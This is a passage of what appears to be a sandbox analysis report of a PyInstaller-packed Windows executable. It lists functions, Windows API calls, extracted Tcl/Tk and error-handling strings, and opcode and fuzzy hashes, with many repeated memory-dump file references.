Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bfd0dbd31329e8855e2ea518bb8c472100a71056899b27504ce81c8632d734fa
Instruction ID: d75503a0e5b5dd967b3f8ad6ff8bc690ef3214adda72df627879aaae1044aa2e
Opcode Fuzzy Hash: bfd0dbd31329e8855e2ea518bb8c472100a71056899b27504ce81c8632d734fa
Instruction Fuzzy Hash: 47219232A18A4187EB61AF18D440B79B7E4EB88BA4FA44234EA6D476D5DF3CD401CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA70F64C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA70F6A0

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f8ccbbb08b6b64fca274b3102351a157ba9f641dbe881e0fbefe782dfe020abd
Instruction ID: 7f96ffc7e7c9ca02a74aed655da3c1873a88d84b4a5e9d6ea0491dd83bd86dd2
Opcode Fuzzy Hash: f8ccbbb08b6b64fca274b3102351a157ba9f641dbe881e0fbefe782dfe020abd
Instruction Fuzzy Hash: EB018261A0878241FB04EF529901869E695BB89FE0B8886B5DE7C17BE6CF3CD4018770

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA716B74 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA716B9F

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ff7701af8cb768011259a96fb0cdaae69b45464d9f9b930ea94a69369e7e69e2
Instruction ID: 01c35d58908d8629392a006b2b0303d6ded90e79f0d6788293104fbe38b80196
Opcode Fuzzy Hash: ff7701af8cb768011259a96fb0cdaae69b45464d9f9b930ea94a69369e7e69e2
Instruction Fuzzy Hash: 98116D36A1C64286F310BF14A48097AF3E5EB48750F9505B5DA6D476E2DF3DF8118BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71DD70 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7FA71A8E6,?,?,?,00007FF7FA719AA3,?,?,00000000,00007FF7FA719D3E), ref: 00007FF7FA71DDC5

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 71284afaabaf46e061be5dd41c1ee9242f4793079330fcfb9ee2b8ac464e22c2
Instruction ID: e373f7e6aa5781da9ed802ed376815349c699925d2763b8c5308d9cbe56e82d4
Opcode Fuzzy Hash: 71284afaabaf46e061be5dd41c1ee9242f4793079330fcfb9ee2b8ac464e22c2
Instruction Fuzzy Hash: 3EF06D41B0D64681FF647E625861BB4D2C45F4DBA0F8C48B2CDAE863C3DE1CE5808AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71CAFC Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF7FA70FE74,?,?,?,00007FF7FA711386,?,?,?,?,?,00007FF7FA712979), ref: 00007FF7FA71CB3A

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a7ce567b16112f19067e33b9dc0b94b4c499acd5a025fbf7a889946ef18f26a1
Instruction ID: e29bae544f4bdb36c63ea0f3472ec961f03fcb6b54246adf713223a4cbd48fb9
Opcode Fuzzy Hash: a7ce567b16112f19067e33b9dc0b94b4c499acd5a025fbf7a889946ef18f26a1
Instruction Fuzzy Hash: 3DF03450B0C28281FF747FA25890E74D2C09F4C7B0F9806B0DD3E8A2C2DE2CA440C5B0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF7FA705F70 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7FA705F87
GetProcAddress.KERNEL32 ref: 00007FF7FA705FC6
GetProcAddress.KERNEL32 ref: 00007FF7FA705FEB
GetProcAddress.KERNEL32 ref: 00007FF7FA706010
GetProcAddress.KERNEL32 ref: 00007FF7FA706038
GetProcAddress.KERNEL32 ref: 00007FF7FA706060
GetProcAddress.KERNEL32 ref: 00007FF7FA706088
GetProcAddress.KERNEL32 ref: 00007FF7FA7060B0
GetProcAddress.KERNEL32 ref: 00007FF7FA7060D8

Strings

Failed to get address for Tcl_EvalEx, xrefs: 00007FF7FA706392
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF7FA70618A
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF7FA706072
Tcl_GetObjResult, xrefs: 00007FF7FA706326
Tcl_NewByteArrayObj, xrefs: 00007FF7FA7062D6
Tcl_Alloc, xrefs: 00007FF7FA7063C6
Failed to get address for Tcl_Finalize, xrefs: 00007FF7FA70604A
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF7FA70613A
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF7FA7062F2
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF7FA7061B2
Tcl_DoOneEvent, xrefs: 00007FF7FA706006
Tcl_Finalize, xrefs: 00007FF7FA70602E
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF7FA706202
Tcl_GetCurrentThread, xrefs: 00007FF7FA7060CE
Failed to get address for Tcl_Init, xrefs: 00007FF7FA705F99
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF7FA706022
Tcl_DeleteInterp, xrefs: 00007FF7FA70607E
Tcl_GetString, xrefs: 00007FF7FA706286
Tcl_CreateInterp, xrefs: 00007FF7FA705FBC
Failed to get address for Tcl_SetVar2, xrefs: 00007FF7FA706252
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF7FA7063BA
Tcl_SetVar2, xrefs: 00007FF7FA706236
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF7FA7062CA
Tcl_FinalizeThread, xrefs: 00007FF7FA706056
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF7FA7060EA
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF7FA706342
Tcl_ThreadAlert, xrefs: 00007FF7FA7061E6
Tcl_ConditionWait, xrefs: 00007FF7FA706196
Tcl_ConditionFinalize, xrefs: 00007FF7FA706146
Tcl_CreateThread, xrefs: 00007FF7FA7060A6
Tcl_EvalObjv, xrefs: 00007FF7FA70639E
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF7FA7061DA
Tcl_MutexLock, xrefs: 00007FF7FA7060F6
Failed to get address for Tcl_GetVar2, xrefs: 00007FF7FA70622A
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF7FA705FD8
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF7FA70631A
Tcl_EvalEx, xrefs: 00007FF7FA706376
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF7FA70627A
Tcl_GetVar2, xrefs: 00007FF7FA70620E
GetProcAddress, xrefs: 00007FF7FA705FA0
Failed to get address for Tcl_MutexLock, xrefs: 00007FF7FA706112
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF7FA706162
Tk_Init, xrefs: 00007FF7FA706416
Tk_GetNumMainWindows, xrefs: 00007FF7FA70643E
Failed to get address for Tcl_Alloc, xrefs: 00007FF7FA7063E2
Tcl_ThreadQueueEvent, xrefs: 00007FF7FA7061BE
Tcl_CreateObjCommand, xrefs: 00007FF7FA70625E
Tcl_NewStringObj, xrefs: 00007FF7FA7062AE
Tcl_ConditionNotify, xrefs: 00007FF7FA70616E
Failed to get address for Tcl_EvalFile, xrefs: 00007FF7FA70636A
Tcl_FindExecutable, xrefs: 00007FF7FA705FE1
Tcl_SetVar2Ex, xrefs: 00007FF7FA7062FE
Failed to get address for Tk_Init, xrefs: 00007FF7FA706432
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF7FA70645A
Failed to get address for Tcl_GetString, xrefs: 00007FF7FA7062A2
Tcl_Init, xrefs: 00007FF7FA705F80
Failed to get address for Tcl_CreateThread, xrefs: 00007FF7FA7060C2
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF7FA705FFD
Tcl_EvalFile, xrefs: 00007FF7FA70634E
Tcl_Free, xrefs: 00007FF7FA7063EE
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF7FA70609A
Failed to get address for Tcl_Free, xrefs: 00007FF7FA70640A
Tcl_MutexUnlock, xrefs: 00007FF7FA70611E

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: f2a63a6368bd24169675c041ca24025962e4e687bdbe2194ee438000f2696acf
Instruction ID: a2207f1f5252a5a84dc6085596d1ee1d2dff144e373a00a450fc5e0d5685f4aa
Opcode Fuzzy Hash: f2a63a6368bd24169675c041ca24025962e4e687bdbe2194ee438000f2696acf
Instruction Fuzzy Hash: 53E1A3A4A1EB0390FB55AF14AC54974A3A9AF1C740BD4A4B5C82E062E4EF7CF54887F1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA701B90 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON

Download Yara Rule

APIs

GetDialogBaseUnits.USER32 ref: 00007FF7FA701BDE
MulDiv.KERNEL32 ref: 00007FF7FA701BF2
MulDiv.KERNEL32 ref: 00007FF7FA701C13
SystemParametersInfoW.USER32 ref: 00007FF7FA701C5B
CreateFontIndirectW.GDI32 ref: 00007FF7FA701C6F
#380.COMCTL32 ref: 00007FF7FA701C93
CreateWindowExW.USER32 ref: 00007FF7FA701CE6
CreateWindowExW.USER32 ref: 00007FF7FA701D40
CreateWindowExW.USER32 ref: 00007FF7FA701D9D
CreateWindowExW.USER32 ref: 00007FF7FA701DFF
SendMessageW.USER32 ref: 00007FF7FA701E1F
SendMessageW.USER32 ref: 00007FF7FA701E39
SendMessageW.USER32 ref: 00007FF7FA701E58
SendMessageW.USER32 ref: 00007FF7FA701E77
SendMessageW.USER32 ref: 00007FF7FA701E95
SendMessageW.USER32 ref: 00007FF7FA701EB3
SendMessageW.USER32 ref: 00007FF7FA701ED1
SendMessageW.USER32 ref: 00007FF7FA701EE9
SendMessageW.USER32 ref: 00007FF7FA701F01
GetClientRect.USER32 ref: 00007FF7FA701F10

Part of subcall function 00007FF7FA702030: GetDC.USER32 ref: 00007FF7FA70205B
Part of subcall function 00007FF7FA702030: SelectObject.GDI32 ref: 00007FF7FA7020A2
Part of subcall function 00007FF7FA702030: DrawTextW.USER32 ref: 00007FF7FA7020C5
Part of subcall function 00007FF7FA702030: SelectObject.GDI32 ref: 00007FF7FA7020DB
Part of subcall function 00007FF7FA702030: ReleaseDC.USER32 ref: 00007FF7FA7020EB
Part of subcall function 00007FF7FA702030: MoveWindow.USER32 ref: 00007FF7FA70213B
Part of subcall function 00007FF7FA702030: MoveWindow.USER32 ref: 00007FF7FA70217B
Part of subcall function 00007FF7FA702030: MoveWindow.USER32 ref: 00007FF7FA7021CE

Strings

Failed to execute script '%ls' due to unhandled exception: %ls, xrefs: 00007FF7FA701BBD
EDIT, xrefs: 00007FF7FA701D4B
STATIC, xrefs: 00007FF7FA701C9C, 00007FF7FA701CF1
BUTTON, xrefs: 00007FF7FA701DB6
Close, xrefs: 00007FF7FA701DA8

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
API String ID: 2446303242-1601438679
Opcode ID: 459a4d17a5d9d63fd32af7de9d21940b0e91a324c601fae87eb48516cdd5ea8c
Instruction ID: 4b86e2eebcda7ef8810068c2e117713d7a2ec6a81e1278a5cec27bec7b3ca5e2
Opcode Fuzzy Hash: 459a4d17a5d9d63fd32af7de9d21940b0e91a324c601fae87eb48516cdd5ea8c
Instruction Fuzzy Hash: 2FA16A36218B8187E7149F21E944B9AB3B0FB88B80F904125DB9D03B65DF3DE165CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7074E0 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF7FA70269E,?,?,?,?,?,?,?,?,?,?,?,00007FF7FA70101D), ref: 00007FF7FA707507
FormatMessageW.KERNEL32 ref: 00007FF7FA707536
WideCharToMultiByte.KERNEL32 ref: 00007FF7FA70758C

Part of subcall function 00007FF7FA702620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7FA707774,?,?,?,?,?,?,?,?,?,?,?,00007FF7FA70101D), ref: 00007FF7FA702654
Part of subcall function 00007FF7FA702620: MessageBoxW.USER32 ref: 00007FF7FA702730

Strings

PyInstaller: FormatMessageW failed., xrefs: 00007FF7FA707553
FormatMessageW, xrefs: 00007FF7FA707547
Failed to encode wchar_t as UTF-8., xrefs: 00007FF7FA707596
PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF7FA7075A9
No error messages generated., xrefs: 00007FF7FA707540
WideCharToMultiByte, xrefs: 00007FF7FA70759D

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-2573406579
Opcode ID: 029f836fef8ee5472c7679535fa4ba659228b0cadb04ffc4aa2330943ac4ddf3
Instruction ID: c7533e3a715712fa9d25cecf2f40f4181341f9a47c591841ecdce66af8460aea
Opcode Fuzzy Hash: 029f836fef8ee5472c7679535fa4ba659228b0cadb04ffc4aa2330943ac4ddf3
Instruction Fuzzy Hash: 75216D21A18A4281F724AF10E850AB6A3A1FB9C784FC44075E66D826E5EF7CE105CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA70B6CC Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7FA70B6E8
RtlCaptureContext.KERNEL32 ref: 00007FF7FA70B715
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7FA70B72F
RtlVirtualUnwind.KERNEL32 ref: 00007FF7FA70B770
IsDebuggerPresent.KERNEL32 ref: 00007FF7FA70B7C4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7FA70B7E5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7FA70B7F0

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ed99729a06427ffe8919d80707f0d22f85e2a1f7f16501b693ecc562f35910ed
Instruction ID: f734b4addd03d72c1ec2ef6810eab617a78717bde711ecaf9dcd80fcb8503a24
Opcode Fuzzy Hash: ed99729a06427ffe8919d80707f0d22f85e2a1f7f16501b693ecc562f35910ed
Instruction Fuzzy Hash: FC314F72618A8186FB60AF60E8507E9B3B1FB88754F844439DA5E47BD4DF38D648C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA719B14 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7FA719B8D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7FA719BA5
RtlVirtualUnwind.KERNEL32 ref: 00007FF7FA719BE0
IsDebuggerPresent.KERNEL32 ref: 00007FF7FA719C19
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7FA719C23
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7FA719C2E

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
